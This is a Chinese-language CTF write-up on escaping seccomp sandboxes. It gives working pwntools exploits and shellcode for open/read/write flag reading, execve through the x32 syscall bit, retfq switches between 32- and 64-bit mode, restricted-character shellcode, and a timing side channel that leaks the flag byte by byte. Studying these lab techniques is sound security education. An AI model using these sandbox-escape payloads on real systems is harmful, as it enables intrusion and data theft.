最简单的沙盒(orw)

zyy@zyy-virtual-machine:~/pwn$ seccomp-tools dump ./orw 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

WP

#open(系统调用号为5)		#sys_open(file,0,0)
xor ecx,ecx;
xor edx,edx;
push 0x0;        #字符串以\x00结尾
push 0x67616c66; #flag
mov ebx,esp;			#此时esp指向'flag',将'flag'赋值给ebx
mov eax,0x5;						
int 0x80;

#read(系统调用号为3)		#sys_read(3,0x0804A0A0,0x40)
mov ebx,0x3;			#文件描述符fd:是文件描述符0\1\2\3,代表标准的输出输入和出错,其他打开的文件
mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址
mov edx, 0x40;	
mov eax, 0x3;				
int 0x80;

#write(系统调用号为4)		#sys_write(1,0x0804A0A0,0x40)
mov ebx, 0x1;			#文件描述符fd:是文件描述符0\1\2\3,代表标准的输出输入和出错,其他打开的文件
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x4;
int 0x80;
from pwn import *

context(os = "linux", arch = "i386", log_level= "debug")
sh = remote("node3.buuoj.cn", 27008)

shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode += asm('mov eax,0x3;mov ecx, 0x0804A0A0;mov ebx,0x3;mov edx,0x40;int 0x80')
shellcode += asm('mov eax,0x4;mov ebx,0x1;int 0x80')
sh.sendlineafter('shellcode:', shellcode)

sh.interactive()

WP_again

from pwn import *

context(log_level='debug', arch='i386', os='linux')
sh = remote("node3.buuoj.cn", 27008)
save_to = 0x804a040

payload = shellcraft.i386.open('flag.txt')
payload += shellcraft.i386.read(0x3, save_to, 0x40)
payload += shellcraft.i386.write(0x1, save_to, 0x40)
sh.recvuntil(b'shellcode:')
sh.sendline(asm(payload))

print(sh.recv())

调用32位的BPI(64位程序)

题目流程

int __cdecl main(int argc, const char **argv, const char **envp)
{
  sandbox(argc, argv, envp);
  hello();
  vulnerable();
  return 0;
}

ssize_t vulnerable()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  return read(0, buf, 0x40uLL);
}
zyy@zyy-virtual-machine:~/桌面/sandbox$ checksec shellcode
[*] '/home/zyy/桌面/sandbox/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

zyy@zyy-virtual-machine:~/桌面/sandbox$ seccomp-tools dump ./shellcode
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

32位BPI相关定义

我们虽然不能使用64位下的execv系统调用,但是我们可以让64位程序使用32位的BPI调用execv,相关宏定义如下:

/*
 * x32 syscall flag bit.  Some user programs expect syscall NR macros
 * and __X32_SYSCALL_BIT to have type int, even though syscall numbers
 * are, for practical purposes, unsigned long.
 *
 * Fortunately, expressions like (nr & ~__X32_SYSCALL_BIT) do the right
 * thing regardless.
 */
#define __X32_SYSCALL_BIT	0x40000000

所以我们只要在所需的系统调用号上加上0x40000000,就可以用32位模式调用64位调用号,例如:我们希望使用execv,那我们在对rax赋值的时候就可以把原来的59改成0x4000003b(0x40000000+59)。

WP

from pwn import *

sh = process("./shellcode")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF('./shellcode')
libc = ELF('./libc-2.31.so')

pop_rdi = 'nop;nop;nop;nop;nop;pop rdi;pop rdi;ret'		# len(pop_rdi) = 8
system = 'nop;xor esi,esi;xor edx,edx;mov rax,0x4000003b;syscall;nop;nop'	# len(system) = 16
jump_rsp = 0x400685		# jump rsp;
sub_rsp = 'sub rsp,0x30;jmp rsp'
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x40068A
ret = 0x40044e

sh.recvuntil("Hello ctfer!\nWelcome to the stackoverflow!!\nCan u pwn me?")
payload = asm(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
payload += p64(0) + p64(jump_rsp) + asm(sub_rsp)
sh.send(payload)
sh.recv()
puts_addr = u64(sh.recv(6) + b'\x00'*2)
print('puts_addr:' + hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
str_bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

sh.recvuntil("Hello ctfer!\nWelcome to the stackoverflow!!\nCan u pwn me?")
print(len(asm(system)))
payload = asm(pop_rdi) + p64(str_bin_sh) + asm(system)
payload += p64(jump_rsp) + asm(sub_rsp)
sh.send(payload)

sh.interactive()

虽然攻击流程比较简单,但是细节还是挺多的,注意以下几点:

  1. 在构造汇编代码的时候要注意对齐,大小应该是8的整数倍
  2. 由于溢出空间不足,所以我们需要依靠rsp来实现程序流的控制(初始的时候rsp是指向buf的开始位置的
  3. 注意rsp的动态变化,这就是为什么一开始要进行两次pop rdi的操作
  4. 注意rsp存储的应该是汇编指令的地址,而不是其实际的值

补充

在攻击成功之后,我们使用ls命令或者是cat命令时会报错,而使用pwd命令或者是cd命令不会报错,这是因为前者是外部命令,后者是内部命令,而外部命令都会使用execv这个系统调用,大部分外部命令存在于bin目录下,而内部命令是系统编译进入了操作系统,所以可以使用,我们可以使用type -a <命令>来查看是否为外部命令。这道题目沙箱禁用了execv,因此对子进程也有效。相关信息如下:

[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x1e bytes:
    b'Bad system call (core dumped)\n'
Bad system call (core dumped)
$ pwd
[DEBUG] Sent 0x4 bytes:
    b'pwd\n'
[DEBUG] Received 0x19 bytes:
    00000000  2f 68 6f 6d  65 2f 7a 79  79 2f e6 a1  8c e9 9d a2  │/hom│e/zy│y/··│····│
    00000010  2f 73 61 6e  64 62 6f 78  0a                        │/san│dbox│·│
    00000019
/home/zyy/桌面/sandbox
$  
zyy@zyy-virtual-machine:~/桌面/sandbox$ type -a ls
ls 是 `ls --color=auto' 的别名
ls 是 /bin/ls
zyy@zyy-virtual-machine:~/桌面/sandbox$ type -a pwd
pwd 是 shell 内建
pwd 是 /bin/pwd
zyy@zyy-virtual-machine:~/桌面/sandbox$ strace ls
execve("/bin/ls", ["ls"], [/* 49 vars */]) = 0
......

解决方案:我们可以寻找ls命令的源码并将其编译为32位的程序(gcc -m32),将其替代bin下的对应文件,或者直接装个32位的操作系统。

模式转换(利用retfq)

题目流程

void __noreturn start()
{
  signed __int64 v0; // rax
  signed __int64 v1; // rax
  signed __int64 v2; // rax
  unsigned __int64 v3; // r10
  signed __int64 v4; // rax
  char *dest; // rbx
  signed __int64 v6; // rax
  signed __int64 len; // rax
  int v8; // r12d
  int i; // r13d
  signed __int64 v10; // rax
  signed __int64 v11; // rax
  unsigned __int64 arg3[2]; // [rsp+80h] [rbp-80h] BYREF
  __int16 v13; // [rsp+90h] [rbp-70h] BYREF
  char v14; // [rsp+92h] [rbp-6Eh]
  char v15; // [rsp+93h] [rbp-6Dh]
  int v16; // [rsp+94h] [rbp-6Ch]
  __int16 v17; // [rsp+98h] [rbp-68h]
  char v18; // [rsp+9Ah] [rbp-66h]
  char v19; // [rsp+9Bh] [rbp-65h]
  int v20; // [rsp+9Ch] [rbp-64h]
  __int16 v21; // [rsp+A0h] [rbp-60h]
  char v22; // [rsp+A2h] [rbp-5Eh]
  char v23; // [rsp+A3h] [rbp-5Dh]
  int v24; // [rsp+A4h] [rbp-5Ch]
  __int16 v25; // [rsp+A8h] [rbp-58h]
  char v26; // [rsp+AAh] [rbp-56h]
  char v27; // [rsp+ABh] [rbp-55h]
  int v28; // [rsp+ACh] [rbp-54h]
  __int16 v29; // [rsp+B0h] [rbp-50h]
  char v30; // [rsp+B2h] [rbp-4Eh]
  char v31; // [rsp+B3h] [rbp-4Dh]
  int v32; // [rsp+B4h] [rbp-4Ch]
  __int16 v33; // [rsp+B8h] [rbp-48h]
  char v34; // [rsp+BAh] [rbp-46h]
  char v35; // [rsp+BBh] [rbp-45h]
  int v36; // [rsp+BCh] [rbp-44h]
  __int16 v37; // [rsp+C0h] [rbp-40h]
  char v38; // [rsp+C2h] [rbp-3Eh]
  char v39; // [rsp+C3h] [rbp-3Dh]
  int v40; // [rsp+C4h] [rbp-3Ch]
  __int16 v41; // [rsp+C8h] [rbp-38h]
  char v42; // [rsp+CAh] [rbp-36h]
  char v43; // [rsp+CBh] [rbp-35h]
  int v44; // [rsp+CCh] [rbp-34h]
  __int16 v45; // [rsp+D0h] [rbp-30h]
  char v46; // [rsp+D2h] [rbp-2Eh]
  char v47; // [rsp+D3h] [rbp-2Dh]
  int v48; // [rsp+D4h] [rbp-2Ch]

  v13 = 32;
  v14 = 0;
  v15 = 0;
  v16 = 0;
  v17 = 21;
  v18 = 6;
  v19 = 0;
  v20 = 5;
  v21 = 21;
  v22 = 5;
  v23 = 0;
  v24 = 37;
  v25 = 21;
  v26 = 4;
  v27 = 0;
  v28 = 1;
  v29 = 21;
  v30 = 3;
  v31 = 0;
  v32 = 0;
  v33 = 21;
  v34 = 2;
  v35 = 0;
  v36 = 9;
  v37 = 21;
  v38 = 1;
  v39 = 0;
  v40 = 231;
  v41 = 6;
  v42 = 0;
  v43 = 0;
  v44 = 0;
  v45 = 6;
  v46 = 0;
  v47 = 0;
  v48 = 2147418112;
  LOWORD(arg3[0]) = 9;
  arg3[1] = (unsigned __int64)&v13;
  v0 = sys_alarm(0x3Cu);
  v1 = sys_write(1u, "---------- Shellcode ----------\n", 0x20uLL);
  v2 = sys_prctl(38, 1uLL, 0LL, 0LL);
  v4 = sys_prctl(22, 2uLL, (unsigned __int64)arg3, v3);
  dest = (char *)sys_mmap(0LL, 0x1000uLL, 7uLL, 34uLL, 0xFFFFFFFFuLL, 0LL);
  v6 = sys_write(1u, "Input your shellcode: ", 0x16uLL);
  len = sys_read(0, dest, 0x1000uLL);
  v8 = len;
  if ( dest[(int)len - 1] == '\n' )
  {
    dest[(int)len - 1] = 0;
    v8 = len - 1;
  }
  for ( i = 0; i < v8; ++i )
  {
    if ( dest[i] <= 31 || dest[i] == 127 )
    {
      v10 = sys_write(1u, "Check!\n", 7uLL);
      goto LABEL_10;
    }
  }
  ((void (*)(void))dest)();
LABEL_10:
  v11 = sys_exit_group(0);
}
---------- Shellcode ----------
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0008
 0002: 0x15 0x05 0x00 0x00000025  if (A == alarm) goto 0008
 0003: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0008
 0004: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0008
 0005: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0008
 0006: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW

可以看到禁用了open这个系统调用,但是给了我们fstat这个系统调用,其调用号是0x5(在64位下是sys_fstat,在32位下是sys_open),所以我们利用shellcode的retfq进行模式转换,retfq就相当于jmp rsp; mov cs, [rsp + 0x8],cs寄存器中0x23表示32位运行模式,0x33表示64位运行模式,所以我们只需要构造push 0x23, push <ret_addr>, retfq就可以实现模式转换。

要注意我们需要重新mmap一段新的空间给32位的shellcode使用,因为题目mmap出的空间是在栈上,而32位模式是无法解析出地址长度比自身长的64位栈地址的,会发生段错误。这里还对输入的字符做了检查,由于syscall的汇编过不了检查,所以不能用syscall,可以用xor的方式绕过手写,也可以使用alpha生成可见字符的shellcode(尽量不要用mov会生成\x00这样的坏字节,用push和pop来赋值)

参考文章:

shellcode 的艺术 | R4bb1t的ctf博客 (n0va-scy.github.io)

从SCTF2020_CoolCode中学习open禁用的seccomp绕过 · Surager

mmap()函数的学习

函数定义:void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offsize);

参数的解释:

  • start:指向内存开始的地址,一般为空由操作系统定义
  • length:映射文件内容的大小
  • port:映射区的保护方式(组合形式,一般题目都为7,即可读可写可执行):
    • PROT_EXEC:可执行
    • PROT_READ:可读取
    • PROT_WRITE:可被写入
    • PROT_NONE:不能存取
  • flags:影响映射区域的各种特性:
    • MAP_FIXED:如果参数start所指的地址无法成功建立映射时,则放弃映射,不对地址做修正。通常不鼓励用此旗标
    • MAP_SHARED:对应射区域的写入数据会复制回文件内,而且允许其他映射该文件的进程共享
    • MAP_PRIVATE:对应射区域的写入操作会产生一个映射文件的复制,即私人的”写入时复制”对此区域作的任何修改都不会写回原来的文件内容
    • MAP_ANONYMOUS:建立匿名映射,此时会忽略参数fd,不涉及文件,而且映射区域无法和其他进程共享
    • MAP_DENYWRITE:只允许对应射区域的写入操作,其他对文件直接写入的操作将会被拒绝
    • MAP_LOCKED:将映射区域锁定住,这表示该区域不会被置换(swap)
  • fd:文件描述符
  • offset:文件映射的偏移量

一般用法:mmap(start, len, 7, 34, 0, 0)

攻击思路

  1. 构造mmap和read的shellcode,开辟一块内存给32位的shellcode,并对这块区域进行写入
  2. 转换32位程序,open一下flag,注意32位寄存器和64寄存器存储的区别
  3. 转换64位程序,进行read和write

限制字符shellcode的生成

from pwn import *

shellcode_mmap_read_call = '''
/*mmap(0x40404040, 0x7e, 7, 34, 0, 0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 7 /*set rdx*/
pop rdx
xor r8, r8 /*set r8*/
xor r9, r9 /*set r9*/
push 0x22 /*set rcx*/
pop rcx
push 9   /*set rax*/
pop rax
syscall

/*read(0, 0x40404040, 0x70)*/
xor rdi, rdi
push 0x40404040
pop rsi
push 0x70
pop rdx
xor rax, rax
syscall

call rsi
'''

f = open('mmap_read', 'wb')
f.write(asm(shellcode_mmap_read_call, arch = 'amd64', os = 'linux'))
f.close()
python2 ./ALPHA3.py x64 ascii mixedcase rbx --input="mmap_read"

生成之后的shellcode是这样的:

Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2E0r150p020n1o0N2N0Z050j2C104o1M1O3k2D2r130Z7l0h0e072k108O1l2O0q2m0q2q0Y7K0h2l134r7n068O4L07

也可以手写shellcode,毕竟这道题对于shellcode的字符要求还不是很严格,参考以下的文章:

[(11条消息) 2021 强网杯 强网先锋] shellcode_yongbaoii的博客-CSDN博客

shellcode 的艺术 | R4bb1t的ctf博客 (n0va-scy.github.io)

WP

from pwn import *

sh = process('./shellcode')
context(log_level = 'debug', os = 'linux', arch = 'amd64')

s       = lambda data               :sh.send(data)
sa      = lambda text, data         :sh.sendafter(text, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda text, data         :sh.sendlineafter(text, data)
r       = lambda num                :sh.recv(num)
ru      = lambda text               :sh.recvuntil(text)
uu32    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg      = lambda s                  :sh.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))

pld = '''Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2E0r150p020n1o0N2N0Z050j2C104o1M1O3k2D2r130Z7l0h0e072k108O1l2O0q2m0q2q0Y7K0h2l134r7n068O4L07'''
sh.recv()
# gdb.attach(sh, 'b *0x4002eb\nc\n')
s(pld)
# pause()
shellcode_to_x86 = '''
push 0x23
push 0x40404050
retfq
'''

shellcode_open = '''
mov esp, 0x40404200
push 0
push 0x67616c66
mov ebx, esp
xor ecx, ecx
mov eax,5
int 0x80
'''

shellcode_to_x64 = '''
push 0x33
push 0x40404078
retfq
'''

shellcode_read = '''
mov rdi, 3
mov rsi, 0x40404100
mov rdx, 0x60
xor rax, rax
syscall
'''

shellcode_write = '''
mov rsi, 0x40404100
mov rdx, 0x60
mov rdi, 1
mov rax, 1
syscall
'''

pld = asm(shellcode_to_x86)
pld = pld.ljust(0x10, b'\x90')
pld += asm(shellcode_open)
pld += asm(shellcode_to_x64)
pld = pld.ljust(0x38, b'\x90')
pld += asm(shellcode_read)
pld += asm(shellcode_write)
# gdb.attach(sh)
# pause()
s(pld)

sh.interactive()

WP_again

网上师傅的手写shellcode脚本

#coding:utf-8
from pwn import *

context.log_level = 'debug'
p = process('./shellcode')
p.recvuntil("shellcode: ")

append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall

/*write(1,buf,0x70)*/
mov rdi,1
mov rax,1
syscall
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''

# 0x40404040为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/

push 0x40404040 /*set rdi*/
pop rdi

push 0x7e /*set rsi*/
pop rsi

push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx

push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8

push rax /*set r9*/
pop r9

/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl

push 0x22 /*set rcx*/
pop rcx

push 0x40/*set rax*/
pop rax
xor al,0x49
'''

shellcode_read = '''
/*read(0, 0x40404040, 0x70)*/
push 0x40404040
pop rsi

push 0x40
pop rax
xor al,0x40
push rax
pop rdi

xor al,0x40
push 0x70
pop rdx

push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70

'''

shellcode_retfq = '''
push rbx
pop rax

xor al,0x40

push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''

shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append

shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
print(hex(len(shellcode)))
p.sendline(shellcode)

p.sendline(shellcode_x86 + 0x29*b'\x90' + shellcode_flag)
p.interactive()

侧信道攻击(不允许write)

了解何为侧信道攻击?当题目开启了沙盒禁用了execv系统调用,那我们可以通过owr来进行攻击获取flag,但是当我们能够使用的系统调用更少了,比如我们只有openread可用,或者是程序close(1)关闭了输出流,那我们怎么攻击呢?我们只能对flag进行逐位爆破。

如何实现爆破呢?我们通常会将flag读写到一段内存空间,然后用猜测的方法将我们每次输入的数据和flag的每一位进行比较,如果比较成功了,那么程序将进入死循环(我们可以通过time这个模块来获取时间戳的差值),比如时间超过1秒那么我们对于flag的一个字节就爆破成功,同时配上python中的tryexcept这两个关键字就可以实现逐位的爆破。一般这种攻击一般采用shellcode来攻击,基于二分法的攻击将更为简便。

题目流程

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  __int128 v4; // xmm0
  __int128 v5; // xmm1
  __int128 v6; // xmm2
  __int64 v8; // [rsp+48h] [rbp-68h]
  __int64 v9; // [rsp+50h] [rbp-60h]
  __int128 buf; // [rsp+60h] [rbp-50h] BYREF
  __int128 v11; // [rsp+70h] [rbp-40h]
  __int128 v12; // [rsp+80h] [rbp-30h]
  __int128 v13; // [rsp+90h] [rbp-20h]
  unsigned __int64 v14; // [rsp+A0h] [rbp-10h]

  v14 = __readfsqword(0x28u);
  sub_A60(a1, a2, a3);
  v13 = 0LL;
  v12 = 0LL;
  v11 = 0LL;
  buf = 0LL;
  puts("Welcome to silent execution-box.");
  v3 = getpagesize();
  v9 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);
  read(0, &buf, 0x40uLL);
  prctl(38, 1LL, 0LL, 0LL, 0LL);
  v8 = seccomp_init(0LL);
  seccomp_rule_add(v8, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v8, 2147418112LL, 0LL, 0LL);
  seccomp_load(v8);
  v4 = buf;
  v5 = v11;
  v6 = v12;
  *(_OWORD *)(v9 + 48) = v13;
  *(_OWORD *)(v9 + 32) = v6;
  *(_OWORD *)(v9 + 16) = v5;
  *(_OWORD *)v9 = v4;
  ((void (__fastcall *)(__int64, __int64, __int64))v9)(3735928559LL, 3735928559LL, 3735928559LL);
  return 0LL;
}
zyy@zyy-virtual-machine:~/桌面/lm/silent$ seccomp-tools dump ./silent
Welcome to silent execution-box.
aaa
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x01 0x00 0x00000000  if (A == read) goto 0007
 0006: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL

这里我们看到开辟了一块起始地址是0x1000的映射段,并且会将我们写入的数据存入该映射段中,最后执行我们所写的内容,这里由于0x40小于16*8,所以不用担心程序修改我们的shellcode

恶补一下汇编(判断与跳转)

判断指令

cmp指令:cmp <arg1> : <arg2>

计算<arg1> - <arg2>的结果但是不保存,仅仅对标志位进行设置,有以下几种情况:

  • arg1 = arg2zf = 1
  • arg1 != arg2zf = 0
  • arg1 >= arg2cf = 0
  • arg1 > arg2cf = 0zf = 0
  • arg1 <= arg2cf = 1zf = 1

跳转指令

  1. 基于特定的标志位
    • jz:为零跳转,zf = 1
    • jnz:非零跳转,zf = 0
    • jc:进位跳转,cf = 1
    • jnc:无进位跳转,cf = 0
  2. 基于相等性的跳转
    • je:相等跳转,zf = 1
    • jne:不相等跳转,zf = 0
  3. 基于无符号数比较的跳转
    • ja:大于跳转,cf = 0zf = 0
    • jna:不大于跳转,cf = 1zf = 1
    • jb:小于跳转,cf = 1
    • jnb:不小于跳转,cf = 0

WP

import time
from pwn import *

context(arch = 'amd64', os = 'linux')
sd = lambda data : sh.sendline(data)

ans = ''
for i in range(16,17):   # range(0,8) range(8,16) range(16,17)
    for ch in range(32, 127):
        sh = process('./silent')
        sh.recvuntil('Welcome to silent execution-box.\n')
        # 如果没有收取'\n',那么下面就需要再次recv来收取垃圾数据
        shellcode = shellcraft.amd64.pushstr("flag")
        shellcode += shellcraft.amd64.linux.open('rsp',0,0)
        shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 17)
        # 进行逐个字节的比较
        shellcode += '''
        loop:
        cmp byte ptr[rsp+{0}], {1}
        je loop
        '''.format(i, ch)
        payload = asm(shellcode)
        # gdb.attach(sh)
        sd(payload)
        # pause()
        
        start = time.time()
        try:
            # sh.recv()		# 收取垃圾数据
            sh.recv(timeout = 2)
        except:
            pass
        end = time.time()
        
        if end - start > 1.5:
            ans = ans + chr(ch)
            success("\033[0;32mflag:{0}\033[0m".format(ans))
            sh.close()
            sleep(3)
            break

需要注意的是,如果我们open的文件过多,系统会发生错误:OSError: [Errno 24] Too many open files,所以我们每次爆破的flag的字节数有限制,需要对索引进行调整,这也是这个脚本的缺陷所在。

WP_again

学长的自动化脚本,膜拜一下

from pwn import *
# context.log_level = "debug"
context.arch = 'amd64'

def dynamite_xor(io,idx,char):
    shellcode = shellcraft.amd64.pushstr("flag")
    shellcode += shellcraft.amd64.linux.open('rsp',0,0)
    shellcode += shellcraft.amd64.linux.read('rax','rsp',idx+1)
    shellcode += "mov al,[rsp+{0}];xor rax,{1};".format(str(idx),str(char))
    shellcode += shellcraft.amd64.linux.read('rax','rsp',1)
    payload = asm(shellcode)
    io.recvuntil('Welcome to silent execution-box.')
    info("\033[0;34mmov al,[rsp+{0}]; xor rax, {1};\033[0m".format(str(idx),chr(char)))
    io.sendline(payload)

def dynamite_sub(io,idx,char):
    shellcode = shellcraft.amd64.pushstr("flag")
    shellcode += shellcraft.amd64.linux.open('rsp',0,0)
    shellcode += shellcraft.amd64.linux.read('rax','rsp',idx+1)
    shellcode += "mov al,[rsp+{0}];sub rax,{1};".format(str(idx),str(char))
    shellcode += shellcraft.amd64.linux.read('rax','rsp',1)
    payload = asm(shellcode)
    io.recvuntil('Welcome to silent execution-box.')
    info("\033[0;34mmov al,[rsp+{0}];sub rax,{1};\033[0m".format(str(idx),chr(char)))
    io.sendline(payload)

def dynamite_add(io,idx,char):
    shellcode = shellcraft.amd64.pushstr("flag")
    shellcode += shellcraft.amd64.linux.open('rsp',0,0)
    shellcode += shellcraft.amd64.linux.read('rax','rsp',idx+1)
    shellcode += "mov al,[rsp+{0}];sub rax,{1};add rax, 2".format(str(idx),str(char))
    shellcode += shellcraft.amd64.linux.read('rax','rsp',1)
    payload = asm(shellcode)
    io.recvuntil('Welcome to silent execution-box.')
    info("\033[0;33mmov al,[rsp+{0}];sub rax,{1};add rax, 2;\033[0m".format(str(idx),chr(char)))
    io.sendline(payload)

def check_time(io):
    start_time = time.time()
    try:
        io.recv()
        io.recv(timeout=2)
    except:
        pass
    if time.time() - start_time >= 1.5:
        return True
    else:
        return False

def check(io,idx,char):
    dynamite_sub(io,idx,char)      
    if check_time(io):
      io1 = process('./silent')
      dynamite_add(io1,idx,char)
      if check_time(io1):
        io1.close()
        return True
    return False

def main():
    flag = ""
    for idx in range(18):
      for char in range(32,127):
        io = process('./silent')
        if check(io,idx,char):
          flag += chr(char)
          success("\033[0;32mflag[{0}]:{1}\033[0m".format(str(idx),chr(char)))
          success("\033[0;32mflag:{0}\033[0m".format(flag))
          break
        io.close()
    print(flag)

main()